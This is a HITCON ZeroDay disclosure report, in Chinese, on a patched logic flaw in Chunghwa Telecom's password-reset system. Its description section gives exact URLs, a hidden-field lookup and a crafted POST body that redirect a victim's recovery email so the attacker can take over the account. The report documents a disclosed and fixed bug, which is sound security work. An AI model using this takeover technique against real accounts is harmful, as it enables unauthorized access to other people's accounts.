Vulnerability Overview

ZDID: ZD-2016-00353
Vendor: 中華電信
Title: 中華電信修改任意使用者密碼漏洞
Introduction: 攻擊者可竄改找回密碼信箱達到修改任意使用者密碼

處理狀態

目前狀態

公開

Last Update : 2017/02/24

新提交
已審核
已通報
已修補
已複測
公開

處理歷程

2016/12/18 23:44:11 : 新提交 (由 Orange 更新此狀態)
2016/12/18 23:44:15 : 新提交 (由 Orange 更新此狀態)
2016/12/19 00:02:23 : 新提交 (由 Orange 更新此狀態)
2016/12/19 00:08:40 : 新提交 (由 Orange 更新此狀態)
2016/12/19 03:01:51 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2016/12/19 03:05:27 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2016/12/19 10:33:24 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2016/12/19 10:33:25 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2017/02/19 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
2017/02/21 12:37:47 : 確認已修補 (由 HITCON ZeroDay 服務團隊更新此狀態)
2017/02/21 12:38:00 : 公開 (由 HITCON ZeroDay 服務團隊更新此狀態)
2017/02/23 17:16:36 : 已修補 (由 HITCON ZeroDay 服務團隊更新此狀態)
2017/02/24 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2016-00353
通報者：orange (Orange)
風險：高
類型：邏輯漏洞 (Logic Flaws)

參考資料

攻擊者可經由該漏洞繞過網站邏輯行為進行惡意攻擊。

漏洞說明： OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic

漏洞說明： CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

漏洞本質在於修改密碼所需資訊(如找回密碼提示、找回密碼信箱)可被攻擊者竄改
導致攻擊者可透過竄改修改找回密碼信箱取得修改密碼驗證碼，最後在成功修改受害者密碼

Step 1

得知受害者 userId

如是一般 emome 會員 userId 直接是登入帳號
如是手機可透過在
https://member.cht.com.tw/himbr/forgetPassword.do?siteid=132

輸入受害者手機號，送出後查看原始碼找出
<input id="userId" name="userId" type="hidden" value="?????"/>

手機號 userId 格式通常為 _mbrtnf + 數字

Step 2

對網址送出 POST 資料
https://member.cht.com.tw/himbr/verifyForgetPassword.do

POST=
step=2&ln=zh&siteid=132
&userId=_mbrtnf1234567890
&[email protected]
&[email protected]

把 userId 換成受害者 userId
把 email2, hint_email2 換成攻擊者信箱

接著在頁面上選擇取得密碼方式勾選「常用信箱，取得密碼」
並在「輸入常用信箱：」填上剛剛 POST 所送出之攻擊者信箱
最後點選「繼續」

Step 3

攻擊者收信，取得忘記密碼驗證碼
再使用驗證碼重設受害者密碼

修改後的密碼測試後可確實登入
www.hinet.net
www.cht.com.tw
www.emome.net

Step 4

打完收工! <(￣︶￣)>

中華電信修改任意使用者密碼漏洞 - HITCON ZeroDay

Vulnerability Detail Report